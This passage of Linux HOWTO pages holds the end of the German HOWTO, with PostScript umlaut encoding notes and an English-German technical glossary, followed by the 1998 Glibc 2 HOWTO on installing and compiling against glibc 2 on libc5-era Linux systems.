Welche Schritte im Einzelnen erforderlich sind, um ein Programm zu internationalisieren, erläutert das Manual zu `gettext' (derzeit noch `draft'-Stadium).

`GNU sharutils' ab der Version 4.2 ist ein beispielhaft internationalisiertes Programm-Paket.

8.2 Übersetzung von GNU-Programmen

Wer bei der Übersetzung von GNU-Programmen mithelfen will, sollte den Email-Verteiler de@li.org abonnieren. Dahinter steht eine majordomo-mailingliste (sprich: majordomo@li.org nimmt die subscribe-Befehle entgegen)

8.3 ncurses

Diese C-Bibliothek zur Bildschirmsteuerung ist seit Version 1.8.2 in der Lage, mit 8-bit Zeichen umzugehen. Ältere Versionen sollten nicht verwendet werden.

8.4 Erzeugung von PostScript

Die auszugebenden Texte können Umlaute enthalten, wenn vorher folgende Funktion aufgerufen wurde:

%
% change encoding to ISO8859-1  -  reiner@schildi.xnc.com
%
% <fontname> ISOfindfont => <font>
%
/ISOfindfont {
    dup 100 string cvs (ISO-) exch concatstrings cvn exch
    findfont dup maxlength dict begin
        { 1 index /FID ne {def}{pop pop} ifelse } forall
        /Encoding ISOLatin1Encoding def
        currentdict
    end definefont
} def


German HOWTO: Anhang

 Next Previous Contents

9. Anhang

9.1 Erklärende Übersetzung einiger technischer Begriffe

Ohne ein gewisses Maß an Englisch-Kenntnissen wird man an Linux nicht viel Freude haben, da sowohl die Dokumentation, als auch die Menüs und Hilfe-Funktionen der Programme vornehmlich in Englisch geschrieben sind.

Dieser Abschnitt soll das Verständnis englischen Orginal-Dokumentation erleichtern, indem der technische Zusammenhang der Vokabeln erläutert wird (wenn nötig).

Im Internet gibt es noch einige interaktive Wörterbücher, z.B. unter der URL:

http://www.chemie.fu-berlin.de/glossar/glossar.html

ENGLISH            DEUTSCH
---------------------------------------------------------------------------
abort            Programm oder Verbindung abbrechen
argument         Parameter (Einstellung), der einem Programm übergeben
                   wird
bracket          eckige Klammer
character        Zeichen
comment          Kommentar
device           Gerät; der Zugriff auf Geräte erfolgt unter Linux
                   fast ausschließlich über Dateien, die sogennanten
                   Gerätedateien im Verzeichnis `/dev'; meist bezieht
                   sich <em/device/ auf eine dieser Dateien
directory        Verzeichnis
environment      Umgebung; bezieht sich auf die Einstellungen, die
                   einem Programm mit Umgebungsvariablen (enviroment
                   variables) übergeben wird
file             Datei
file descriptor  Dateizugriffsnummer; programminterne Nummer für
                   eine offene Datei
font             Zeichensatz
host             Maschine, Computer, Rechner (wörtlich: Gastgeber)
I/O              Ein-/Ausgabe
kernel           Betriebssystemkern; der heilige Teil von Linux
key              Taste
keyboard         Tastatur
library          Zusammenfassung von compilierten C-Routinen zu
                   einer Bibliothek, die dann aus jedem anderen
                   Programm heraus benutzt werden kann
link             Verweis; anstatt eine Datei zu kopieren, kann man
                   auch einen Verweis anlegen; dies spart Platz und
                   erlaubt einige Tricks
load             laden, Beladung, Ausnutzung; in Zusammenhang mit
                   der Auslastung einer Maschine gebraucht
lock             Sperre (meist gewollt)
mount            montieren, zusammensetzen; stets im Zusammenhang
                   mit dem Verzeichnisbaum, der durch das Kommando
                   `mount ...' zusammengesetzt wird
network          Computernetz(werk)
news
OS               Betriebssystem (Operating System)
overflow         bei einer mathematischen Operation ist ein Ergebnis
                   aufgetreten, daß wegen seiner Größe nicht mehr
                   in die dafür vorgesehene Variable paßt
parenthesis      runde Klammer
path             Pfad, meist als Begriff für den kompletten
                   Verzeichnisnamen zu einer Datei gebraucht
pipe             Röhre, Veranschaulichung der Weiterleitung von Daten
                   von einem zum nächsten Programm; das sogennante
                   `pipe-symbol' ist das Zeichen | (senkr. Strich)
press            Drücken Sie (die Taste)
quote            Anführungszeichen oder Zitat
<!-- quoten = quotes benutzen = zitieren -->
remote           im Sinne von "die Gegenseite der Verbindung"
resolve          Ermittlung (Auflösung) der numerischen IP-Adresse,
                   die zu einem Maschinennamen gehört
server           Computer, der anderen Computern Dateien oder
                   Dienstleistungen zur Verfügung stellt
source           meist Begriff für die Programmtexte (Quellcode,
                   Sourcecode) benutzt; "may the source be with you"
                   UTSL: Use the source, Luke.
space            Leerzeichen
string           Zeichenkette
template         Vorlage, Muster, Schablone
trace            Ablaufverfolgung
type             Tippen Sie ein
underflow        Unterlauf, z.B. "der Unterlauf des Rheins" ;-)
                   Im Ernst: Wenn bei einer Floating-Point Berechnung, die Zahl
                   kleiner als das Maschinen-Epsilon wird, wird dies mit dem
                   Underflow-Flag angezeigt.
wildcard         Joker, meist erfüllt der Stern * diese Funktion,
                   z.B. zur unvollständigen Angabe von Dateinamen


Glibc 2 HOWTO

Eric Green, ejg3@cornell.edu

v1.6, 22 June 1998

The glibc 2 HOWTO covers installing and using the GNU C Library version 2 (libc 6) on Linux systems.

1. Introduction.

  • 1.1 About glibc 2.
  • 1.2 About this document.
  • 1.3 Recent changes in this document.

2. Choosing your installation method.

3. Getting the library.

4. Installing as a test library.

  • 4.1 Compiling and installing.
  • 4.2 Updating the dynamic loader.
  • 4.3 Configuring for gcc.
  • 4.4 Updating header file links.
  • 4.5 Testing your installation.

5. Installing as the primary C library.

  • 5.1 Building the library from source.
  • 5.2 Preparing for installation.
  • 5.3 Installing from the binary package.
  • 5.4 Installing from the source.
  • 5.5 Updating the gcc specs.
  • 5.6 Testing your installation.

6. Compiling with the non-primary libc.

  • 6.1 A warning when using non-primary libcs.
  • 6.2 Compiling programs with a test glibc.
  • 6.3 Compiling programs with libc 5 when glibc is primary library.

7. Compiling C++ programs.

  • 7.1 Installing libg++ for a test glibc install.
  • 7.2 Installing libg++ for a primary glibc install.
  • 7.3 Compiling C++ programs with the non-primary libc.

8. Problems.

  • 8.1 Host names do not resolve.

9. Reporting bugs.

10. Sample specs file.

11. Miscellanea.

  • 11.1 Further information.
  • 11.2 Credits.
  • 11.3 Feedback.
  • 11.4 Copyright.


Glibc 2 HOWTO: Introduction.

 Next Previous Contents

1. Introduction.

1.1 About glibc 2.

Glibc 2 is the latest version of the GNU C Library. It currently runs unmodified on GNU Hurd systems and Linux i386, m68k, and alpha systems. Support for Linux PowerPC, MIPS, Sparc, Sparc 64, and Arm will be in version 2.1. In the future support for other architectures and operating systems will be added.

On Linux, glibc 2 is used as the libc with major version 6, the successor of the Linux libc 5. It is intended by the Linux libc developers to eventually replace libc 5. As of 2.0.6, glibc is considered production quality. Version 2.1 (due out in the near future) will be ready for main stream use along with adding more ports and features.

There are three optional add-ons available for glibc 2:

Crypt

The UFC-crypt package. It is seperate because of export restrictions.

LinuxThreads

An implementation of the Posix 1003.1c "pthread" interface.

Locale data

Contains the data needed to build the locale data files to use the internationalization features of the glibc.

The crypt and LinuxThreads add-ons are strongly recommended... not using them risks to be incompatible with the libraries of other systems. (If you do not wish to use them, you must add the option --disable-sanity-checks when you run configure.)

1.2 About this document.

This HOWTO covers installing the glibc 2 library on an existing Linux system. It is tailored for users of Intel based systems currently using libc 5, but users of other systems and alternate libraries (such as glibc 1) should be able to use this information by substituting the proper filenames and architecture names in the appropriate places.

The latest copy of this HOWTO can be found as part of the Linux Documentation Project or from http://www.imaxx.net/~thrytis/glibc/Glibc2-HOWTO.html.

1.3 Recent changes in this document.

Differences between version 1.6 and 1.5:

  • Fixed the install instructions of the binary glibc package.

Differences between version 1.5 and 1.4:

  • Indexing added Ed Bailey.
  • Changed my email address.


Glibc 2 HOWTO: Choosing your installation method.

 Next Previous Contents

2. Choosing your installation method.

There are a few ways to install glibc. You can install the libraries as a test, using the existing libraries as the default but letting you try the new libraries by using different options when compiling your program. Installing in this way also makes it easy to remove glibc in the future (though any program linked with glibc will no longer work after the libraries are removed). Using glibc as a test library requires you to compile the libraries from source. There is no binary distribution for installing libraries this way. This installation is described in Installing as a test library.

The other way described in this document to install is using glibc as your primary library. All new programs that you compile on your system will use glibc, though you can link programs with your old libraries using different options while compiling. You can either install the libraries from binaries, or compile the library yourself. If you want to change optimization or configuration options, or use an add-on which is not distributed as a binary package, you must get the source distribution and compile. This installation procedure is described in Installing as the primary C library.

Frodo Looijaard describes yet another way of installing glibc. His method involves installing glibc as a secondary library and setting up a cross compiler to compile using glibc. The installation procedure for this method is more complicated then the test library install described in this document, but allows for easier compiling when linking to glibc. This method is described in his Installing glibc-2 on Linux document.

If you are currently running Debian 1.3 but do not want to upgrade to the unstable version of Debian to use glibc, the Debian libc5 to libc6 Mini-HOWTO describes how to use Debian packages to upgrade your system.

If you are installing glibc 2 on an important system, you might want to use the test install. Even if there are no bugs, some programs will need to be modified before they will compile due to changes in function prototypes and types.


Glibc 2 HOWTO: Getting the library.

 Next Previous Contents

3. Getting the library.

The glibc 2 consists of the glibc package and three optional add-on packages, LinuxThreads, Locale, and Crypt. The source can be found at

  • ftp://prep.ai.mit.edu/pub/gnu/glibc-2.0.6.tar.gz
  • ftp://prep.ai.mit.edu/pub/gnu/glibc-linuxthreads-2.0.6.tar.gz
  • ftp://prep.ai.mit.edu/pub/gnu/glibc-localedata-2.0.6.tar.gz
  • ftp://prep.ai.mit.edu/pub/gnu/glibc-crypt-2.0.6.tar.gz

It will take about 150 MB of disk space for the full compile and install. The basic binary install of just the core library package is about 50 MB.

Binary packages for 2.0.6 are not available. Version 2.0.4 binary packages are available for i386 and m68k, and version 2.0.1 for the alpha can be found at

  • Intel x86:
    • ftp://prep.ai.mit.edu/pub/gnu/glibc-2.0.4.bin.i386.tar.gz
    • ftp://prep.ai.mit.edu/pub/gnu/glibc-crypt-2.0.4.bin.i386.tar.gz
  • Alpha:
    • ftp://prep.ai.mit.edu/pub/gnu/glibc-2.0.1.bin.alpha-linux.tar.gz
    • ftp://prep.ai.mit.edu/pub/gnu/glibc-crypt-2.0.1.bin.alpha-linux.tar.gz
  • m68k:
    • ftp://prep.ai.mit.edu/pub/gnu/glibc-2.0.4-m68k-linux.bin.tar.gz
    • ftp://prep.ai.mit.edu/pub/gnu/glibc-crypt-2.0.4-m68k-linux.bin.tar.gz
There are export restrictions on the crypt add-on. Non-US users should get it from ftp://ftp.ifi.uio.no/pub/gnu.

If you are running a Red Hat distribution, you can get rpms for glibc 2 from ftp://ftp.redhat.com/pub/redhat/. Glibc 2 is the primary C library for the new Red Hat distribution 5.0.

If you are running a Debian distribution, you can get the packages for glibc 2 from ftp://ftp.debian.org/debian/dists/unstable/main/. The files are named libc6. Glibc 2 is now part of the base package of the hamm version of Debian, and will be the primary libc when Debian 2.0 is released.


Glibc 2 HOWTO: Installing as a test library.

 Next Previous Contents

4. Installing as a test library.

This section covers installing glibc 2 as a test library. Anything you compile will be linked to your existing libraries unless you give some extra parameters to link to the new libraries. It appears that the paths are compiled into quite a few files, so you probably have to install the library from source.

4.1 Compiling and installing.

Prerequisites.

  • About 150 MB free disk space
  • GNU make 3.75
  • gcc >= 2.7.2 (better 2.7.2.1)
  • binutils 2.8.1 (for alpha you need a snapshot)
  • bash 2.0
  • autoconf 2.12 (if you change configure.in)
  • texinfo 3.11

On an i586@133 with 64 MB of RAM, it takes about 3 hours to compile with full libraries with add-ons. On a loaded i686@200, it takes about half an hour.

Extracting the source.

You need to extract the source from the archives so you can compile it. The best way to do this is:

 tar xzf glibc-2.0.6.tar.gz
 cd glibc-2.0.6
 tar xzf ../glibc-linuxthreads-2.0.6.tar.gz
 tar xzf ../glibc-crypt-2.0.6.tar.gz
 tar xzf ../glibc-localedata-2.0.6.tar.gz
This will put linuxthreads, crypt, and localedata directories in the glibc-2.0.6 directory where configure can find these add-ons.

Configuring.

In the glibc-2.0.6 directory, create a directory named compile, and cd into it. All work will be done in this directory, which will simplify cleaning up. (The developers have not been very concerned with getting 'make clean' perfect yet.)

 mkdir compile
 cd compile
Run ../configure. To use the add-on packages, you need to specify them with --enable-add-ons, such as --enable-add-ons=linuxthreads,crypt,localedata. You also need to choose a destination directory to install to. /usr/i486-linuxglibc2 is a good choice. The configure line for this would be:
 ../configure --enable-add-ons=linuxthreads,crypt,localedata --prefix=/usr/i486-linuxglibc2

Compiling and installing.

To compile and verify, run:

 make
 make check
If the 'make check' succeeds, install the library as root (while still in the compile/ directory):
 make install

4.2 Updating the dynamic loader.

  1. Create a link from the new ld.so to /lib/ld-linux.so.2:
     ln -s /usr/i486-linuxglibc2/lib/ld-linux.so.2 /lib/ld-linux.so.2
    This is the only library where the location is fixed once a program is linked, and using a link in /lib will ease upgrading to glibc as your primary C library when the stable version is released.
  2. Edit /etc/ld.so.conf. You need to add path to the lib directory the new libraries reside in at the end of the file, which will be <prefix>/lib, such as /usr/i486-linuxglibc2/lib for the choice above. After you have modified /etc/ld.so.conf, run
     ldconfig -v

4.3 Configuring for gcc.

The last step of installation is updating /usr/lib/gcc-lib so gcc knows how to use the new libraries. First you need to duplicate the existing configuration. To find out which configuration is current, use the -v option of gcc:

 % gcc -v
 Reading specs from /usr/lib/gcc-lib/i486-unknown-linux/2.7.2.2/specs
 gcc version 2.7.2.2
In this case, i486-unknown-linux is the system, and 2.7.2.2 is the version. You need to copy the /usr/lib/gcc-lib/<system> to the new test system directory:
 cd /usr/lib/gcc-lib/
 cp -r i486-unknown-linux i486-linuxglibc2
Change into your new test system directory and version directory
 cd /usr/lib/gcc-lib/i486-linuxglibc2/2.7.2.2
and edit the file specs found in this directory. In this file, change /lib/ld-linux.so.1 to /lib/ld-linux.so.2. You also need to remove all expressions %{...:-lgmon} in the file, since glibc does not use the gmon library for profiling. A sample specs file can be found in the Sample specs file section.

4.4 Updating header file links.

You need create links in your new include directory to other include directories:

 cd /usr/i486-linuxglibc2/include
 ln -s /usr/src/linux/include/linux
 ln -s /usr/src/linux/include/asm
 ln -s /usr/X11R6/include/X11
You might also have other libraries such as ncurses which need their header files put in this directory. You should copy or link the files from /usr/include. (Some libraries may need to be recompiled with glibc2 in order to work with it. In these cases, just compile and install the package to /usr/i486-linuxglibc2.)

4.5 Testing your installation.

To test the installation, create the following program in a file glibc.c:

 #include <stdio.h>

 main()
 {
     printf("hello world!\n");
 }
and compile with the options of "-b <base install directory> -nostdinc -I<install directory>/include -I/usr/lib/gcc-lib/<new system dir>/<gcc version>/include":
 % gcc -b i486-linuxglibc2 -nostdinc -I/usr/i486-linuxglibc2/include -I/usr/lib/gcc-lib/i486-linuxglibc2/2.7.2.2/include glibc.c -o glibc
Use ldd to verify the program was linked with glibc2, and not your old libc:
 % ldd glibc
 libc.so.6 => /usr/i486-linuxglibc2/lib/libc-2.0.6.so (0x4000d000)
 /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
If it compiles, the links check out, and it generates "hello world!" when run, the installation succeeded.


Glibc 2 HOWTO: Installing as the primary C library.

 Next Previous Contents

5. Installing as the primary C library.

This section covers installing glibc 2 as your primary C library. Any new programs you compile will be linked with this library, unless you use special compile options to link with another version.

If you are are using Redhat or Debian and have downloaded the appropriate rpm or deb files, see the Redhat or Debian installion instructions. You can then skip this section.

5.1 Building the library from source.

This section explains how to compile glibc 2 and add-ons from the sources. You must compile the library if you want to change optimization or configuration options or use a package you do not have the binaries for.

Prerequisites.

  • About 150 MB free disk space
  • GNU make 3.75
  • gcc >= 2.7.2 (better 2.7.2.1)
  • binutils 2.8.1 (for alpha you need a snapshot)
  • bash 2.0
  • autoconf 2.12 (if you change configure.in)
  • texinfo 3.11

On an i586@133 with 64 MB of RAM, it takes about 3 hours to compile with full libraries with add-ons. On a loaded i686@200, it takes about half an hour.

Extracting the source.

You need to extract the source from the archives so you can compile it. The best way to do this is:

 tar xzf glibc-2.0.6.tar.gz
 cd glibc-2.0.6
 tar xzf ../glibc-linuxthreads-2.0.6.tar.gz
 tar xzf ../glibc-crypt-2.0.6.tar.gz
 tar xzf ../glibc-localedata-2.0.6.tar.gz
This will put linuxthreads, crypt, and localedata directories in the glibc-2.0.6 directory where configure can find these add-ons.

Configuring.

In the glibc-2.0.6 directory, create a directory named compile, and cd into it. All work will be done in this directory, which will simplify cleaning up. (The developers have not been very concerned with getting 'make clean' perfect yet.)

mkdir compile
cd compile
Run ../configure. To use the add-on packages, you need to specify them with --enable-add-ons, such as --enable-add-ons=linuxthreads,crypt,localedata. You probably will also want to specify paths where it will be installed. To match the standard linux distributions, specify --prefix=/usr. (When a prefix of /usr is specified on a linux system, configure knows to adjust other paths to place libc.so and other important libraries in /lib.) The whole configure line would be:
 ../configure --enable-add-ons=linuxthreads,crypt,localedata --prefix=/usr

Compiling.

To compile and verify, run:

 make
 make check

5.2 Preparing for installation.

Now you need to move some files around to prepare for the new library, whether you are installing from source or binaries. Any new program compiled will be linked to glibc, but old programs which are not statically linked will still depend on libc 5, so you can not just overwrite the old version.

  1. Create a new directory to hold the old files to:
     mkdir -p /usr/i486-linuxlibc5/lib
  2. The old header files must be evacuated from /usr/include:
     mv /usr/include /usr/i486-linuxlibc5/include
  3. Create a new include directory and set up the links to other include directories:
     mkdir /usr/include

 ln -s /usr/src/linux/include/linux /usr/include/linux
 ln -s /usr/src/linux/include/asm /usr/include/asm
 ln -s /usr/X11R6/include/X11 /usr/include/X11
 ln -s /usr/lib/g++-include /usr/include/g++
    The links may need adjusting according to your distribution. At least Slackware puts g++ headers in /usr/local/g++-include, while Debian puts the headers in /usr/include/g++, and links /usr/lib/g++-include to /usr/include/g++. In the later case, you probably will want to move the original g++ include directory back to /usr/include.
  4. Restore any extra header files and links. Some non-standard libraries such as ncurses put files in /usr/include or put a link to their include directories in the /usr/include. These files and links need to be restored in order to use the extra libraries properly.
  5. Add your new library directory (such as /usr/i486-linuxlibc5/lib) at the top of your /etc/ld.so.conf file. You should have ld.so 1.8.8 or better installed to avoid getting strange messages once glibc is installed.
  6. Move/copy all the old C libraries into the new directory.
     mv /usr/lib/libbsd.a /usr/i486-linuxlibc5/lib
 mv /usr/lib/libc.a /usr/i486-linuxlibc5/lib
 mv /usr/lib/libgmon.a /usr/i486-linuxlibc5/lib
 mv /usr/lib/libm.a /usr/i486-linuxlibc5/lib
 mv /usr/lib/libmcheck.a /usr/i486-linuxlibc5/lib
 mv /usr/lib/libc.so /usr/i486-linuxlibc5/lib
 mv /usr/lib/libm.so /usr/i486-linuxlibc5/lib
 cp /lib/libm.so.5.* /usr/i486-linuxlibc5/lib
 cp /lib/libc.so.5.* /usr/i486-linuxlibc5/lib
    libm.so.5 and libc.so.5 should be copied and not moved if /usr is a seperate partition from /, because they are required by programs used to start linux and must be located on the root drive partition.
  7. Move the /usr/lib/*.o files into the new directory.
     mv /usr/lib/crt1.o /usr/i486-linuxlibc5/lib
 mv /usr/lib/crti.o /usr/i486-linuxlibc5/lib
 mv /usr/lib/crtn.o /usr/i486-linuxlibc5/lib
 mv /usr/lib/gcrt1.o /usr/i486-linuxlibc5/lib
  8. Update your library cache after your libraries are moved.
     ldconfig -v

5.3 Installing from the binary package.

If you are installing glibc from precompiled binaries, you first want to check what is in the package before you install the binaries:

 tar -tzvvf glibc-2.0.bin.i386.tar.gz
 tar -tzvvf glibc-crypt-2.0.bin.i386.tar.gz
If you are happy with that, you can install glibc with:
 cd /
 tar -xzf glibc-2.0.bin.i386.tar.gz
 tar -xzf glibc-crypt-2.0.bin.i386.tar.gz
 ldconfig -v
If you have a different architecture or version, substitute the proper file names.

The most recent glibc version is generally not available as a binary package, and it is strongly recommended that you run the most recent version to avoid bugs. If you can not build the library yourself, grab a binary package of glibc from one of the distributions that is based on glibc (e.g. RedHat) and install this.

5.4 Installing from the source.

To install the library from source, run as root from the compile/ directory:

 make install
 ldconfig -v

5.5 Updating the gcc specs.

The final step of the installation (for both binary and source installs) is to update the gcc specs file so you can link your programs properly. To determine which specs file is the one used by gcc, use:

 % gcc -v
 reading specs from /usr/lib/gcc-lib/i486-unknown-linux/2.7.2.2/specs
 gcc version 2.7.2.2

In this case, i486-unknown-linux is the system, and 2.7.2.2 is the version. You need to copy the /usr/lib/gcc-lib/<system> to the old system directory:

 cd /usr/lib/gcc-lib/
 cp -r i486-unknown-linux i486-linuxlibc5

Change into the original directory and version directory

 cd /usr/lib/gcc-lib/i486-unknown-linux/2.7.2.2

and edit the file specs found in this directory. In this file, change /lib/ld-linux.so.1 to /lib/ld-linux.so.2. You also need to remove all expressions %{...:-lgmon} in the file, since glibc does not use the gmon library for profiling. A sample specs file can be found in the Sample specs file section.

5.6 Testing your installation.

To test the installation, create the following program in a file glibc.c:

 #include <stdio.h>

 main()
 {
     printf("hello world!\n");
 }
and compile the program.
 % gcc glibc.c -o glibc
Use ldd to verify the program was linked with glibc2, and not your old libc:
 % ldd glibc
 libc.so.6 => /lib/libc.so.6 (0x4000e000)
 /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
If this compiles and generates "hello world!" when run, the installation was successful.


Glibc 2 HOWTO: Compiling with the non-primary libc.

 Next Previous Contents

6. Compiling with the non-primary libc.

There are times you will want to use an alternate library to compile your programs with. This section explains how to accomplish this, using the directories and installation names used in the examples in the previous two sections. Remember to change the names to fit your setup.

6.1 A warning when using non-primary libcs.

Before compiling any programs which is used in the system boot process, remember that if the program is dynamically linked and is used before the non-root partitions are mounted, all linked libraries must be on the root partition. Following the installation process in the previous section for installing glibc as your primary C library, the old libc is left in /lib, which will be on your root partition. This means all of your programs will still work during booting. However, if /usr is on a different partition and you install glibc as a test library in /usr/i486-linuxglibc2, any new programs you compile with glibc will not work until your /usr partition is mounted.

6.2 Compiling programs with a test glibc.

To compile a program with a test-install glibc, you need to reset the include paths to point to the glibc includes. Specifying "-nostdinc" will negate the normal paths, and "-I/usr/i486-linuxglibc2/include" will point to the glibc includes. You will also need to specify the gcc includes, which are found in /usr/lib/gcc-lib/i486-linuxglibc2/2.7.2.2/include (assuming you installed the test lib in i486-linuxglibc2 with gcc version 2.7.2.2).

To link a program with a test-install glibc, you need to specify the gcc setup. This is done by using the option "-b i486-linuxglibc2".

For most programs, you can specify these new options by adding them to the $CFLAGS and $LDFLAGS makefile options:

 CFLAGS = -nostdinc -I/usr/i486-linuxglibc2/include -I/usr/lib/gcc-lib/i486-linuxglibc2/2.7.2.2/include -b i486-linuxglibc2
 LDFLAGS = -b i486-linuxglibc2
If you are using a configure script, define the $CFLAGS and $LDFLAGS shell variables (by using env/setenv for csh/tcsh, or set/export for sh/bash/etc) before running configure. The makefiles generated by this should contain the proper $CFLAGS and $LDFLAGS. Not all configure scripts will pick up the variables, so you should check after running configure and edit the makefiles by hand if necessary.

If the programs you are compiling only call gcc (and not cpp or binutils directly), you can use the following script to save having to specify all of the options each time:

 #!/bin/bash
 /usr/bin/gcc -b i486-linuxglibc2 -nostdinc \
              -I/usr/i486-linuxglibc2/include \
              -I/usr/lib/gcc-lib/i486-linuxglibc2/2.7.2.2/include "$@"
You can then use this script instead of "gcc" when compiling.

6.3 Compiling programs with libc 5 when glibc is primary library.

To compile a program with your old libraries when you have installed glibc as your main library, you need to reset the include paths to the old includes. Specifying "-nostdinc" will negate the normal paths, and "-I/usr/i486-linuxlibc5/include" will point to the glibc includes. You must also specify "-I/usr/lib/gcc-lib/i486-linuxlibc5/2.7.2.2/include" to include the gcc specific includes. Remember to adjust these paths based on the what you named the new directories and your gcc version.

To link a program with your old libc, you need to specify the gcc setup. This is done by using the option "-b i486-linuxlibc5".

For most programs, you can specify these new options by appending them to the $CFLAGS and $LDFLAGS makefile options:

 CFLAGS = -nostdinc -I/usr/i486-linuxlibc5/include -I/usr/lib/gcc-lib/i486-linuxlibc5/2.7.2.2/include -b i486-linuxlibc5
 LDFLAGS = -b i486-linuxlibc5
If you are using a configure script, define the $CFLAGS and $LDFLAGS shell variables (by using env/setenv for csh/tcsh, or set/export for sh/bash/etc) before running configure. The makefiles generated by this should contain the proper $CFLAGS and $LDFLAGS. Not all configure scripts will pick up the variables, so you should check after running configure and edit the makefiles by hand if necessary.

If the programs you are compiling only call gcc (and not cpp or binutils directly), you can use the following script to save having to specify all of the options each time:

 #!/bin/bash
 /usr/bin/gcc -b i486-linuxlibc5 -nostdinc \
              -I/usr/i486-linuxlibc5/include \
              -I/usr/lib/gcc-lib/i486-linuxlibc5/2.7.2.2/include "$@"
You can then use this script instead of "gcc" when compiling.


Glibc 2 HOWTO: Compiling C++ programs.

 Next Previous Contents

7. Compiling C++ programs.

Libg++ uses parts of the math library, so is link to libm. Since your existing libg++ will be compiled with your old library, you will have to recompile libg++ with glibc or get a binary copy. The latest source for libg++ along with a binary linked with glibc (for x86) can be found at ftp://ftp.yggdrasil.com/private/hjl/.

7.1 Installing libg++ for a test glibc install.

If you have installed glibc as a test library, you need to install the files into the directory you installed glibc into (such as /usr/i486-linuxglibc2 for the example in the previous sections). If you are installing from the binary package (which i would recommend, since i never had any luck compiling libg++ this way), you need to extract the files into a temporary directory and move all the usr/lib/ files into the <install directory>/lib/ directory, the usr/include/ files into the <install directory>/include/ directory (remember to delete your include/g++ link first!), and the usr/bin/ files into the <install directory>/bin/ directory.

7.2 Installing libg++ for a primary glibc install.

If you have installed glibc as the primary library, you first need to move your old libg++ files into your old libc directory if you still want to be able to compile g++ programs with your old libc. Probably the easiest way to do this is by installing a new copy of the libg++ compiled with libc 5 as in the previous section, and then installing the glibc version normally.

7.3 Compiling C++ programs with the non-primary libc.

If you are trying to compile a C++ program with a non-primary libc, you will need to include the g++ include dir, which in the examples above would be /usr/i486-linuxglibc2/include/g++ for a test glibc install or /usr/i486-linuxlibc5/include/g++ for a primary glibc install. This can usually be done by appending the $CXXFLAGS variable:

 CXXFLAGS = -nostdinc -I/usr/i486-linuxglibc2/include -I/usr/lib/gcc-lib/i486-linuxglibc2/2.7.2.2/include -I/usr/i486-linuxlibc5/include/g++ -b i486-linuxglibc2


Glibc 2 HOWTO: Problems.

 Next Previous Contents

8. Problems.

The glibc package contains a FAQ with additional information that you should check if you are having problems. An online version is also available at http://www.imaxx.net/~thrytis/glibc/glibc-FAQ.html. Below are some tips for solving problems which are not covered in the FAQ or are covered here in more detail.

8.1 Host names do not resolve.

Glibc 2 uses a different method than libc 5 in looking up host names. The glibc name server switch (NSS) code looks for a file /etc/nsswitch.conf. If host names are not resolving for you when using a glibc 2 application and your /etc/resolv.conf is configured correctly, check if you have the /etc/nsswitch.conf file. If you do not have this file, you can create one containing the line:

 hosts:        files dns
It will now look for /etc/resolv.conf to find the nameservers.

You should look at the section of the libc info pages describing the nsswitch.conf file for more details.


Glibc 2 HOWTO: Reporting bugs.

 Next Previous Contents

9. Reporting bugs.

If you think the lib is buggy, please read first the FAQ. It might be that others had the same problem and there's an easy solution. You should also check the section "Recommended Tools to Install the GNU C Library" in the INSTALL file since some bugs are bugs of the tools and not of glibc.

Once you've found a bug, make sure it's really a bug. A good way to do this is to see if the GNU C library behaves the same way some other C library does. If so, probably you are wrong and the libraries are right (but not necessarily). If not, one of the libraries is probably wrong.

Next, go to http://www-gnats.gnu.org:8080/cgi-bin/wwwgnats.pl, and look through the bug database. Check here to verify the problem has not already be reported. You should also look at the file BUGS (distributed with libc) to check for known bugs.

Once you're sure you've found a new bug, try to narrow it down to the smallest test case that reproduces the problem. In the case of a C library, you really only need to narrow it down to one library function call, if possible. This should not be too difficult.

The final step when you have a simple test case is to report the bug. When reporting a bug, send your test case, the results you got, the results you expected, what you think the problem might be (if you've thought of anything), your system type, the versions of the GNU C library, the GNU CC compiler, and the GNU Binutils which you are using. Also include the files config.status and config.make which are created by running configure; they will be in whatever directory was current when you ran configure.

All bug reports for the GNU C library should be sent using the glibcbug shell script which comes with the GNU libc to bugs@gnu.org (the older address bugs@gnu.ai.mit.edu is still working), or submitted through the GNATS web interface at http://www-gnats.gnu.org:8080/cgi-bin/wwwgnats.pl.

Suggestions and questions should be sent to the mailing list at bugs-glibc@prep.ai.mit.edu. If you don't read the gnewsgroup gnu.bug.glibc, you can subscribe to the list by asking bug-glibc-request@prep.ai.mit.edu.

Please DO NOT send bug report for the GNU C library to <bug-gcc@prep.ai.mit.edu>. That list is for bug reports for GNU CC. GNU CC and the GNU C library are separate entities maintained by separate people.


Glibc 2 HOWTO: Sample specs file.

 Next Previous Contents

10. Sample specs file.

Included here is a sample specs file for glibc 2 which is used by gcc for compiling and linking. It should be found in the directory /usr/lib/gcc-lib/<new system dir>/<gcc version>. If you are running an x86 system, you probably can copy this section to the file exactly.

 *asm:
 %{V} %{v:%{!V:-V}} %{Qy:} %{!Qn:-Qy} %{n} %{T} %{Ym,*} %{Yd,*} %{Wa,*:%*}

 *asm_final:
 %{pipe:-}

 *cpp:
 %{fPIC:-D__PIC__ -D__pic__} %{fpic:-D__PIC__ -D__pic__} %{!m386:-D__i486__} %{posix:-D_POSIX_SOURCE} %{pthread:-D_REENTRANT}

 *cc1:
 %{profile:-p}

 *cc1plus:

 *endfile:
 %{!shared:crtend.o%s} %{shared:crtendS.o%s} crtn.o%s

 *link:
 -m elf_i386 %{shared:-shared}   %{!shared:     %{!ibcs:       %{!static:   %{rdynamic:-export-dynamic}      %{!dynamic-linker:-dynamic-linker /lib/ld-linux.so.2}}
%{static:-static}}}

 *lib:
 %{!shared: %{pthread:-lpthread}  %{profile:-lc_p} %{!profile: -lc}}

 *libgcc:
 -lgcc

 *startfile:
 %{!shared:      %{pg:gcrt1.o%s} %{!pg:%{p:gcrt1.o%s}                        %{!p:%{profile:gcrt1.o%s}
 %{!profile:crt1.o%s}}}}    crti.o%s %{!shared:crtbegin.o%s} %{shared:crtbeginS.o%s}

 *switches_need_spaces:

 *signed_char:
 %{funsigned-char:-D__CHAR_UNSIGNED__}

 *predefines:
 -D__ELF__ -Dunix -Di386 -Dlinux -Asystem(unix) -Asystem(posix) -Acpu(i386) -Amachine(i386)

 *cross_compile:
 0

 *multilib:
 . ;


Glibc 2 HOWTO: Miscellanea.

 Next Previous Contents

11. Miscellanea.

11.1 Further information.

Web pages.

  • FSF's GNU C Library Home Page
  • Using GNU Libc 2 with Linux
  • Installing glibc-2 on Linux.
  • Debian libc5 to libc6 Mini-HOWTO.

Newgroups.

  • comp.os.linux.development.system
